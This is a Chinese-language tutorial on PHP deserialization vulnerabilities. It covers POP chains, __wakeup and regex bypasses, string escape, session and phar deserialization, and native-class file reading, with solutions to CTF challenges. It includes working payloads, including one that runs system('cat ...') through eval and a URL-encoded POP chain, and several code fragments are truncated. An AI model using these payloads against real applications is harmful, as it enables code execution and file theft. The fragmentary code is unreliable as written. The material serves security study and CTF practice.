作者:永不落的梦想
作者主页:传送
座右铭:过去属于死神,未来属于自己
本文专栏:Web漏洞篇
今日鸡汤:只有承担起旅途风雨,最终才能守得住彩虹满天
目录
一、php面向对象基础
1.面向过程
2.面向对象
3.类的定义
4.继承
5.类的访问权限修饰符
二、序列化基础
1.概述
2.序列化值
3.对象序列化
4.pop链序列化
5.数组序列化
三、反序列化
1.概述
2.反序列化漏洞的成因
四、魔术方法详解
五、Pop链的构造
六、绕过
1. __wakeup()方法漏洞
2. O:+6绕过正则
3. 引用
4. 对类属性不敏感
5. 大小S当十六进制绕过
6.php类名不区分大小写
七、字符串逃逸
1.反序列化特点
2.字符串逃逸的成因
3.简单演示
八、session反序列化
1.概述
2.漏洞成因
3.三种格式
九、Phar反序列化
1.概述
2.phar文件结构
3.phar反序列化利用条件
4.phar文件生成脚本
十、原生类利用
面向过程是一种以“整体事件”为中心的编程思想,编程的时候把解决问题的步骤分析出来,然后用函数把这些步骤实现,在一步一步的具体步骤中再按顺序调用函数;
面向对象是一种以“对象”为中心的编程思想,把要解决的问题分解成各个“对象”;对象是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界的抽象;
对象的三个特征:对象的行为,对象的形态,对象的表示
类是定义了一件事物的抽象特点,它将数据的形式以及这些数据上的操作封装在一起;对象是具有类类型的变量,是对类的实例;
类的定义包括定义类名、定义成员属性、定义成员方法;
内部构成:成员属性(变量)+成员方法(函数)
继承性是子类自动共享父类数据结构和方法的机制,是类之间的一种关系;
在定义和实现一个类的时候,可以在一个已经存在的类的基础之上来进行,把一个已经存在的类所定义的内容作为自己的内容,并加入若干新的内容;
父类:一个类被其它类继承,可将该类成为父类,或基类,超类;
子类:一个类继承其他类称为子类,也可称为派生类;
public:公共的,在类的内部、子类和类的外部中都可以被调用;
protected:受保护的,在类的内部和子类可以被调用,在类的外部不可调用;
private:私有的,只能在类的内部调用,在子类和类的外部不可调用;
序列化是将对象或数组转化为方便存储、传输的字符串,php使用serialize()函数将对象序列化;
序列化只作用于对象的成员属性,不序列化成员方法;
各类型值的serialize序列化:
空字符 null -> N;
整型 123 -> i:123;
浮点型 1.5 -> d:1.5;
boolean型 true -> b:1;
boolean型 false -> b:0;
字符串 “haha” -> s:4:"haha";
//对象序列化
//输出为:
O:4:"test":5:{s:8:" test a1";s:4:"haha";s:5:" * a2";s:4:"dada";s:2:"a3";s:4:"sasa";s:1:"b";b:1;s:1:"c";i:123;}
//解释:大写字母O表示对象,4是类名长度,test为类名,5表示该类有5个成
//员属性,注意private私有属性序列化的属性名格式为“%00类名%00属性名”,
//%00为空格,如上的“ test a1”,protected受保护属性序列化的属性名格
//式为“%00*%00属性名”,如上的“ * a2”,对于存在这两种类型的成员属性的
//类在写payload时通常会使用urlencode()函数编码;其他都是正常的序列化
Public(公有):被序列化时属性值为:属性名
Protected(受保护):被序列化时属性值为:\x00*\x00属性名
Private(私有):被序列化时属性值为:\x00类名\x00属性名
//pop链序列化
d=$m;
echo serialize($n);
?>
//输出:
O:5:"test2":2:{s:1:"h";s:3:"hhh";s:1:"d";O:5:"test1":3:{s:1:"a";s:4:"haha";s:1:"b";b:1;s:1:"c";i:123;}}
//对象的成员属性为另一个对象,序列化值出现如上嵌套
//数组序列化
//输出:
a:4:{i:0;s:4:"haha";i:1;i:123;i:2;b:1;i:3;s:3:"ggg";}
//解释:a表示这是一个数组的序列化,成员属性名为数组的下标,格式"i:数组下标;"
//其他与正常序列化一致
反序列化是将序列化得到的字符串转化为一个对象的过程;
反序列化生成的对象的成员属性值由被反序列化的字符串决定,与原来类预定义的值无关;
反序列化使用unserialize()函数将字符串转换为对象,序列化使用serialize()函数将对象转化为字符串;
//反序列化
//输出:
object(test)#1 (2) {
["a"]=>
string(3) "666"
["b"]=>
int(6666)
}
//如上将字符串转换为对象,且对象的值与类预定义的值无关,取决于被反序列化的字符串
反序列化过程中unserialize()函数的参数可以控制,传入特殊的序列化后的字符串可改变对象的属性值,并触发特定函数执行代码;
//反序列化漏洞简单案例
a);
}
}
$cmd=$_GET['cmd'];
//cmd=O:4:"test":1:{s:1:"a";s:10:"phpinfo();";}
$d=unserialize($cmd);
$d->display();
?>
//如上反序列化的内容是GET方法获得的,是可控的,传入上图注释中的cmd
//内容,可实现执行php代码:phpinfo();
魔术方法是一个预定好的、在特定情况下自动触发的行为方法;
//魔术方法
__construct() //类的构造函数,创建对象时触发
__destruct() //类的析构函数,对象被销毁时触发
__call() //调用对象不可访问、不存在的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //调用不可访问、不存在的对象成员属性时触发
__set() //在给不可访问、不存在的对象成员属性赋值时触发
__isset() //当对不可访问属性调用isset()或empty()时触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //把对象当初函数调用时触发
__sleep() //执行serialize()时,先会调用这个方法
__wakeup() //执行unserialize()时,先会调用这个方法
__toString() //把对象当成字符串调用时触发
__clone() //使用clone关键字拷贝完一个对象后触发
//__construct()和__destruct()
//输出:
已创建--已销毁
//对象被创建时触发__construct()方法,对象使用完被销毁时触发__destruct()方法
//__sleep()和__wakeup()
//输出:
使用了serialize()--使用了unserialzie()
//对象被序列化时触发了__sleep(),字符串被反序列化时触发了__wakeup()
//__toString()和__invoke()
//输出:
被当成字符串了--ss被当成函数了
//ehco $a 把对象当成字符串输出触发了__toString(),$a() 把对象当成
//函数执行触发了__invoke()
//__call()和其他魔术方法
h();
?>
//输出:
你调用了不存在的方法
//$a->h()调用了不存在的方法触发了__call()方法,其他魔术方法类似不再演示
//pop简单例题
admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?> NSSCTF{b046d6b0-e1b0-4f26-b54e-acfd4095de65}
分析
w44m类的Getflag方法可以输出flag,而该方法不能自动触发,因此需要考虑如何触发该方法;
可以观察到w33m类的__toString()方法下的代码是可以实现w44m类的Getflag方法调用的,只需令w33m类的属性$w00m为w44m对象,属性$w22m的值为Getflag;
而w33m类的__toString()方法触发的条件是对象被当成字符串;
可以观察到w22m类的__destruct()方法输出了$w00m属性,只需令此属性值为w33m对象即可;
到此,就把三个类的对象串起来了,下面是payload的构造:
w00m=$c;
$a->w00m=$b;
$payload=serialize($a);
echo "?w00m=".urlencode($payload); //存在private和protected属性要url编码
?>
//输出为:
?w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m
%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%
3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00ad
min%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00pas
swd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%
3Bs%3A7%3A%22Getflag%22%3B%7D%7D
存在此漏洞的php版本:php5-php5.6.25、php7-php7.0.10;
调用unserialize()方法时会先调用__wakeup()方法,但是当序列化字符串的表示成员属性的数字大于实际的对象的成员属性数量是时,__wakeup()方法不会被触发,以下的简单例题是__wakeup()方法漏洞的利用:
//__wakeup()方法绕过例题
admin ="user";
$this->passwd = "123456";
}
public function __wakeup(){
$this->passwd = sha1($this->passwd);
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?> NSSCTF{f7b177f4-8e9c-4154-9134-db0011b3b97a}
分析
只要满足__destruct()方法中的if条件就可以获得flag,构造payload时给对于属性赋值即可;
然而,在反序列化调用unserialize()方法时会触发__wakeup方法,进而改变我们给$passwd属性的赋值,最终导致不满足if条件;
因此需要避免__wakeup方法的触发,这就需要可以利用__wakeup()方法的漏洞,使序列化字符串的表示成员属性的数字大于实际的对象的成员属性数量,如下payload的构造:
//输出:
?p=O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
//将成员属性数量2改为3,大于实际值2即可,payload如下:
?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
//简单案例
file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
分析
如上正则匹配检查时,匹配到O:4会终止程序,可以替换为O:+4绕过正则匹配;
//简单例题
a=1;
$this->b=2;
$this->c=3;
}
public function __wakeup(){
$this->a='';
}
public function __destruct(){
$this->b=$this->c;
eval($this->a);
}
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);
NSSCTF{This_iS_SO_SO_SO_EASY}
分析
魔术方法___wakeup()会使变量a为空,且由于正则限制无法通过改变成员数量绕过__wakeup(),这时可以使用引用的方法,使变量a与变量b永远相等,魔术方法__destruct()把变量c值赋给变量b时,相当于给变量a赋值,这就可以完成命令执行,payload如下:
b = &$h->a;
echo '?a='.serialize($h);
//输出
//?a=O:4:"test":3:{s:1:"a";N;s:1:"b";R:2;s:1:"c";s:33:"system("cat /fffffffffflagafag");";}
protected和private属性的属性名与public属性的属性名不同,由于对属性不敏感,即使不加%00* %00和%00类名%00也可以被正确解析;
表示字符串类型的s大写为S时,其对应的值会被当作十六进制解析;
例如 s:13:"SplFileObject" 中的Object被过滤
可改为 S:13:"SplFileOb\6aect"
小写s变大写S,长度13不变,\6a是字符j的十六进制编码
O:1:"A":2:{s:1:"c";s:2:"11";s:1:"b";s:2:"22";}
等效于
O:1:"a":2:{s:1:"c";s:2:"11";s:1:"b";s:2:"22";}
反序列化以;}结束,其后的内容不影响正常的反序列化;
属性值的内容是根据其前面代表字符串长度的整数判断的;
为了安全将序列化后的字符串作一些关键词替换后再反序列化,却导致字符串长度变长或变短,在精心构造的payload中将造成反序列化字符串逃逸,到达攻击目的;
一般在数据先后经过serialize()和unserialize()处理,在这个过程中字符串变多或变少的时侯可能存在反序列化的属性逃逸;
AAA
// [b] => 12345
// )
//将序列化的字符串属性a的值中的A替换为cc,每替换一个A长度加1
function filter($str)
{
return preg_replace('/A/' ,'cc' ,$str);
}
//";s:1:"b";s:5:"12345";}长度为23,需要23个A完成字符串逃逸
$payload = new haha();
$payload->a = 'AAAAAAAAAAAAAAAAAAAAAAA";s:1:"b";s:5:"/flag";}';
$payload = serialize($payload);
$payload = filter($payload);
echo $payload;
//O:4:"haha":2:{s:1:"a";s:46:"cccccccccccccccccccccccccccccccccccccccccccccc";s:1:"b";s:5:"/flag";}";s:1:"b";s:5:"12345";}
echo print_r(unserialize($payload), true);
// haha Object
// (
// [a] => cccccccccccccccccccccccccccccccccccccccccccccc
// [b] => /flag
// )
当session_start()被调用或者php.ini中的session.auto_sart设置为1(即开启)时,php内部会调用会话管理器,将序列化的用户session存储到指定目录(默认为/tmp),session文件名格式为sess_+session_id,读取session文件时需要将序列化的字符串进行反序列化,与phar反序列化一样不需要unserialize()函数也会反序列化;
session文件的写入格式和读取格式不同;
处理器 | 对应的存储格式 |
php(默认) | 键名+|+经serialize()序列化的值 |
php_serialize(php>=5.5.4) | 经serialize()序列化的数组 |
php_binary | 键名长度对应的ASCLL字符+键名+经serialize()序列化的值 |
phar是一种压缩文件;
phar伪协议解析文件时会自动触发对phar文件的manifest字段的序列化字符串进行反序列化,即不需要unserialize()函数;
stub phar 文件标识
manifest 压缩文件的属性信息,已序列化存储
contents 压缩文件的内容
signature 签名
phar文件可以上传到服务器(只要是phar文件,后缀不是phar也可以被phar协议解析);
要有可用的反序列化魔术方法;
要有文件操作函数调用以phar协议,file_exists()、fopen()、file_get_contents()等;
文件操作函数参数可控,如 : / phar等特殊字符未被过滤;
//phar文件的生成
startBuffering(); //开始写phar
$ph->setStub(""); //设置stub
$a=new test(); //可自定义
$ph->setMetadata($a); //将对象写入
$ph->addFromString('test.txt','test'); //写压缩文件名及其内容,可自定义
$ph->stopBuffering(); //结束写phar
//以上类和实例化的对象可自定义,其他为固定格式,在phpstorm中运行以上php代
//码即可在当前目录下生成.phar文件,
注意:php.ini文件的phar.readonly要设置为Off,并把前面的;号注释符删除,然后重启phpstorm
php中有许多内置的原生类,可以利用内置的原生类攻击到达目的;
目录遍历类——DirectoryIterator
可输出指定目录的第一个文件;
文件读取类——SplFileObject
可读取指定文件的内容;
简单演示
a($this->b);
}
}
//$a=DirectoryIterator,$b=glob://f* 时可得到文件名/flag
//$a=SplFileObject,$b=/flag 时可读取/flag文件的内容
//DirectoryTterator和SplFileObject都通过echo输出对象出发,DirectoryIterator读目录只
//能返回目录的第一条、可以使用通配符、需配合伪协议glob://读取,SplFileObject读文件内容文
//件名不支持通配符、只返回文件内容的第一行、配合伪协议php://fliter才可读取文件全部内容
?>